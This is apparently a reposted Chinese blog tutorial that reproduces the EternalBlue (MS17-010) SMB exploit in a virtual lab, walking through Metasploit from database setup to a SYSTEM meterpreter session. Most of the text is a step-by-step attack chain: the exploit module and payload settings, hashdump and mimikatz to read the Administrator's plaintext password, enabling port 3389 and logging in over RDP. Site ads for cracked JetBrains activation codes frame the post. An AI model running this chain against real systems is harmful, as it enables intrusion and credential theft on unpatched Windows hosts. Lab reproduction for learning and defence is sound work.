虚拟化漏洞3种解决方案_怎么实现漏洞复现的

虚拟化漏洞3种解决方案_怎么实现漏洞复现的利用虚拟机复现漏洞“永恒之蓝”攻击:kaliLinux2020.3靶机:WindowsServer2008R2x64下面详细讲述测试的过程。————“永恒之蓝”简介利用Windows系统的SMB漏洞可以获取系统最高权限。于2017年在全球的范围内大面积爆发,不法分子利用这个漏洞制作了勒索病毒,锁定被攻击的设备,并要求支付高额赎金。“永恒之蓝”的原理主要是扫描所有开放445文件共享端口的Windows机器。这里进行测试要用到一个工具MSF,能快速

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

利用虚拟机复现漏洞“永恒之蓝”

攻击:kali Linux 2020.3
靶机:Windows Server 2008 R2 x64
下面详细讲述测试的过程。

——
——

“ 永恒之蓝 ”简介

利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。于 2017 年在全球的范围内大面积爆发,不法分子利用这个漏洞制作了勒索病毒,锁定被攻击的设备,并要求支付高额赎金。
“ 永恒之蓝 ”的原理主要是扫描所有开放 445 文件共享端口的 Windows 机器。
在这里插入图片描述

这里进行测试要用到一个工具 MSF ,能快速对目标实现“永恒之蓝”攻击,获取目标对主机的最高权限。

——
——

Metasploit(MSF)简介

Metasploit 是一个免费的、可下载的框架,可以很容易地获取、开发并对计算机软件漏洞实施攻击。
本身附带数千个已知软件漏洞的专业级漏洞攻击工具,当 2003 年 Metasploit 发布时,计算机安全状况就被永久性地改变了,仿佛一夜之间任何人都可以成为黑客。

——

Metasploit 模块介绍

  • Auxiliary 辅助模块
    为渗透信息提供了大量的辅助模块支持

  • Exploits 攻击模块
    利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,从而获得对远程目标系统访问权的代码组件

  • Payload 攻击载荷模块
    攻击成功后促使靶机运行的一段植入代码

  • Post 后渗透攻击模块
    收集更多信息或进一步访问被利用的目标系统

  • Encoders 编码模块
    将攻击载荷进行编码,来绕过防护软件拦截

——
——

测试漏洞前的准备

连接数据库

kali Linux 中自带 msf 工具。
先开启 postgresql 服务,虽然不那么重要,不过开了之后,可以使用的命令更多。
开启数据库:

service postgresql start

在这里插入图片描述

postgresql 也是 kali 机里自带的。
第一次用 postgresql 的话,要进行一些设置。

先登录控制台:

sudo -u postgres psql

在这里插入图片描述

———————————————————-M——————————————————

这里我一开始使用不了 postgresql 的命令,找了很多解决方法无效,结果发现是语言的问题,我之前把 kali 的语言环境手动设置成了中文,即选择了 zh_CN.UTF8 编码,删除了 en_US.UTF8 的编码,导致现在数据库和系统的语言环境不匹配,出现如下图这样的报错。解决就是把 en_US.UTF8 编码加回来即可。
在这里插入图片描述

———————————————————-W——————————————————–

然后
修改密码

CREATE USER admin WITH PASSWORD ‘psql’ NOCREATEDB;

其中用户名 admin 和单引号中的密码 psql 根据自己写。
成功则返回 CREATE ROLE

创建新用户

CREATE DATABASE msf OWNER admin;

成功则返回 CREATE DATABASE
在这里插入图片描述

设置好输入 exit 退出 postgresql 控制台即可。
在这里插入图片描述

接下来
开启 msf 控制台:

msfconsole

在这里插入图片描述

开启之后看到中间有个图案,这个是随机的,不一定是什么图案。
同时也可以看到我们 metasploit 的版本。
以及这个版本所含有的各模块的数量,比如 2045 个 exploits 模块。

msf 连接 postgresql 数据库

db_connect admin:psql@127.0.0.1/msf

并检测是否连接上:

db_status

在这里插入图片描述

以后打开并连接数据库的步骤就不用创建用户了,三个步骤走:

开启数据库:service postgresql start
开启 msf 控制台:msfconsole
连接 postgresql 数据库 :db_connect admin:psql@127.0.0.1/msf

————————————————————–M———————————————————

还有另一个一个方法是前面不进行创建新用户和连接数据库,使用 service postgresql start 之后,再直接用命令 msfdb init 初始化数据库,会自动创建用户名等信息,应该也是可行的。
————————————————————–W———————————————————

——

msf帮助手册

输入 可以查看 msf 的帮助手册,可以看到有很多命令,我们后面会用到的都在这下面可以看到。

Core Commands :核心命令

在这里插入图片描述

Module Commands :模块命令

在这里插入图片描述

Job Commands:工作命令

在这里插入图片描述

Resource Script Command :脚本命令

在这里插入图片描述

Database Backend Commands :数据库命令

这就是为什么前面要开启数据库的原因。
如果没开启数据库,这些命令就用不了。
在这里插入图片描述
还有一些发展命令之类的,最后还有一些使用教程。
在这里插入图片描述
——
——

进入“永恒之蓝”模块

接下来用 search 命令搜索一下“ 永恒之蓝 ”。
search 就像搜索引擎的功能,可以根据关键字进行搜索。
命令:

search ms17-010

(ms17-010 是“ 永恒之蓝 ”的漏洞编号)
可以看到根据关键字搜索到的结果,前面有编号,跟着名称,名称第一个关键字可以看到是 auxiliary 辅助模块或者是 exploit 攻击模块。搜索到了 2 条辅助模块和 3 条攻击模块。
在这里插入图片描述
使用某个模块有两种方法,一个是用 use 接搜索结果中的编号,一个是接名称。
这里要用到上图中编号为 1 的模块,则使用命令为:

use 1

use auxiliary/scanner/smb/smb_ms17_010

可以看到这样就进入到这个模块里了。
在这里插入图片描述

然后用命令 options 查看我们需要设置什么。
看 Required 一栏中,一般我们要关注的是状态为 yes 的选项,状态为 no 的选项保持默认即可。
在这里插入图片描述

这里我们需要注意 RHOST 、RPORT、NAMED_PIPES 、THREADS 这两项。
NAMED_PIPES 路径已经设置好了。
RPORT :445端口
永恒之蓝就是由于 445 端口上的文件共享服务导致的漏洞。
如果文件共享端口被修改了,则这里的这个端口信息也需要进行修改。
THREADS 线程,我们这里测试一个目标,所以一个线程就够了。
RHOSTS :目标主机的地址。

——
——

使用 msf “永恒之蓝”模块

接下来就进行攻击了。
这里用 Windows Server 2008 作为目标测试。

先用命令 ping www.baidu.com 检查一下网络。
没问题之后再看看靶机的 IP ,同时也检查一下靶机的网络。
在这里插入图片描述

再从 kali 机 ping 一下靶机 IP,即看下面有没有 64 byte 出现。
一开始我这里 ping 不通,原因是 Windows Server 2008 靶机的防火墙没关,关闭防火墙之后就能连通了。
在这里插入图片描述

然后可以用调取 nmap 的命令扫描一下目标的 445 端口有没有开放:

db_nmap 192.168.226.131 -p 445 -v

扫描结果可以看到,445 端口是开放的,服务也对应地上,是微软上的文件共享服务(microsoft-ds)。
在这里插入图片描述
——
——

auxiliary 辅助模块使用

前面的 RHOSTS 目标地址还是空的,需要进行设置一下。
这里用一个快速的方法,先用 hosts 命令可以看到我们的目标地址。
在这里插入图片描述

然后用命令:

hosts -R

直接让这个 RHOSTS 指向了这个地址。
在这里插入图片描述
或者用 set 命令:

set rhost 192.168.226.131

用 iptions 命令验证一下,看到已经设置成功了。
在这里插入图片描述

准备都已经做好了,可以用命令 run 直接执行我们已经进入了的这个辅助扫描模块(auxiliary(scanner/smb/smb_ms17_010))。
可以看到扫描结果显示目标很有可能存在 MS17-010 这个漏洞的,并显示了目标的操作系统版本。
在这里插入图片描述
——
——

expolit 攻击模块使用

到这里辅助模块的任务就完成了,已经确认了目标非常有可能存在这个漏洞。
接下来就进入 exploit 攻击模块,重新回到上面,选择这个编号为 2 的模块。
在这里插入图片描述

使用命令 use 2 进入这个模块,可以看到还默认设置了一个 payload 。
在这里插入图片描述

如果没有自动设置 payload 的话,需要手动设置一下。
使用命令 show payloads 就可以看到很多 payload 需要进行进行选择。
进行筛选,定位到 Windows 64 位操作系统;
如果有 meterpreter 就选择这个,功能比较强大;
然后 payload 后面的连接方式,这里选择 tcp 的。
在这里插入图片描述

选择好之后,进行设置 payload :

set payload windows/x64/meterpreter

在这里插入图片描述

然后用命令 options 看看刚刚进入的 exploit 攻击模块需要我们设置准备写什么。
有目标地址、目标端口、本地地址等信息。
在这里插入图片描述

同样用 hosts -R 设置目标地址。
在这里插入图片描述

看哪里没设置好就设置哪里。
比如如果这里本地地址是空的,就用命令设置 LHOST

set lhost 192.168.226.128

在这里插入图片描述

设置好之后,用命令 run 执行我们刚刚进入的这个攻击模块。
在这里插入图片描述

这样,就已经成功攻击了。当然,不一定每次都攻击成功,可能会不稳定。
目标也会有自我保护的可能,攻击过程中可能直接把目标干关机或者蓝屏。
为了方便,在这样的情况下,可以先在虚拟机提前设置快照,如果被打得关机提醒了,就恢复到前面的快照。
在这里插入图片描述

——
——

攻击成功后的命令测试

查看权限

可以看看我们当前在目标机器的权限:

getuid

可以看到已经是 system 系统权限了。
在这里插入图片描述

可以说是想干嘛就干嘛了,可以在这里执行命令随意地操作目标机器。
试试进入 shell
可以看到执行之后的样子,很熟悉:C:\Windows\system32>
就是我们常用的 cmd 命令窗口,在这里直接用 cmd 命令窗口操作目标。
(编码导致的中文乱码可忽略)
在这里插入图片描述

看看此时的权限,同样是 system 系统权限。
在这里插入图片描述

exit 命令退出回到 meterpreter 。

输入 ? 可以查看帮助文档,有很多的命令,这里就不多说了。
在这里插入图片描述
——
——

获取目标用户密码

比如这里用帮助文档中的 hashdump 命令查看目标的密码。
密码可以用 md5 在线解码网址解出来。
在这里插入图片描述

如果太复杂也可能解不出来,可以通过加载 mimikatz 读取明文密码:

load mimikatz

在这里插入图片描述

加载成功后使用命令 wdigest 直接读取密码。
可以看到读取到了用户名为 Administrator 的密码为 2008Server
这个的确是我在目标机器上设置的密码。
同时也可以看到这条命令的执行是需要 system 系统权限的。
在这里插入图片描述
——
——

远程连接测试

有了用户名和密码就可以直接登录到目标的服务器了。
这里测试一下用远程连接服务登录。
先看看远程连接服务的端口是否开放。

db_nmap 192.168.226.131 -p 3389

看到 3389 端口是关闭的。
在这里插入图片描述

如果忘记具体改端口的命令,用关键字搜索一下。
在这里插入图片描述

使用命令 use ‘编号’ 进入这个模块;
命令 options 查看哪些信息需要设置,session 项即后台的哪个进程,因为刚刚我们退出了 meterpreter ,是用 background 命令把它放在了后台会话。(后面再说明一下这 background 命令)
命令 set session 1 设置。
在这里插入图片描述

命令 run 执行这个刚刚进入开端口的模块。
执行后再看看 3389 端口已经开放了。
在这里插入图片描述

选择就可以进行远程登录了,这里我新开一个命令行。
输入:

rdesktop 192.168.226.131

在这里插入图片描述

输入 yes ,就打开了远程连接的窗口。
在这里插入图片描述

用我们刚刚得到的用户名和密码登录,可以看到就成功登录进入到目标系统了。
在这里插入图片描述

同时,本来处于登录状态的目标也被挤下线了。
在这里插入图片描述

我这里是在 kali 机中进行远程登录,在知道了用户名密码,3389端口开发的情况下,在物理机 Windows 上等其它电脑上都可以登录。

————————————————————–M———————————————————

background 命令
可以用 background 命令让当前命令在后台,刚才的会话会保存下来。
用命令 sessions 查看当前的会话,根据 id 可以重新进入,如 sessions 1 重新进入 meterpreter 攻击。
在这里插入图片描述
————————————————————–W———————————————————

到这里,进行漏洞攻击的测试就结束了!
总结:有些坑不得不踩!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/181252.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 从零开始学习UCOSII操作系统3–UCOSII启动过程「建议收藏」

    从零开始学习UCOSII操作系统3–UCOSII启动过程「建议收藏」从零开始学习UCOSII操作系统3–UCOSII启动过程1、初始化UCOSII(1)在调用UCOSII在任何的其他的服务之前,UCOSII要求首先调用初始化函数OSInit();这个函数的目的就是在整个系统启动之前,初始化所有的变量和数据结构。(2)其中,在OSInit()函数中建立空闲任务OS_TaskIdle();这个任务总是处于就绪态的,空闲任务的优先级是设置为最低

  • Opencv学习笔记(九)光流法

    Opencv学习笔记(九)光流法原创文章,转贴请注明:http://blog.csdn.net/crzy_sparrow/article/details/7407604   本文目录:     一.基于特征点的目标跟踪的一般方法     二.光流法     三.opencv中的光流法函数    四.用类封装基于光流法的目标跟踪方法     五.完整代码     六.参考文献

  • invoke方法详解

    invoke方法详解JspFragment.invoke方法是JspFragment最重要的方法,利用这个方法可以控制是否执行和输出标签体的内容、是否迭代执行标签体的内容或对标签体的执行结果进行修改后再输出。例如:在标签处理器中如果没有调用JspFragment.invoke方法,其结果就相当于忽略标签体内容;在标签处理器中重复调用JspFragment.invoke方法,则标签体内容将会被重复执行;若想

  • HDU 变形课[通俗易懂]

    HDU 变形课[通俗易懂]HDU 变形课

  • 遇到问题–k8s–pod的状态为evicted

    遇到问题–k8s–pod的状态为evicted转载请注明出处:遇到问题–k8s–pod的状态为evicted遇到问题使用kubectlgetpods发现很多pod的状态为evicted。原因eviction,即驱赶的意思,意思是当节点出现异常时,kubernetes将有相应的机制驱赶该节点上的Pod。多见于资源不足时导致的驱赶。更多详情参考kubernetes的eviction机制解决方案排查资源和异常原因,防止新…

  • c语言流水灯程序详细讲解,用c语言编写单片机流水灯程序详解[通俗易懂]

    c语言流水灯程序详细讲解,用c语言编写单片机流水灯程序详解[通俗易懂]用C语言编写的单片机流水灯程序一、硬件电路因为电路用单片机控制,所以电路非常简洁。其电路原理图见下图,印制板图如下图所示。?电路的核心部分是AT89C2051单片机,前面提到它有Pl和P3两组I/O口,我们这里只用到Pl口,共8个引脚。图中Cl、R9组成典型的上电复位(即在加电时单片机复位)电路,XTAL、C2、C3与AT89C2051片内振荡电路组成时钟振荡器。值得注意的是,C2、C3的容量不能…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号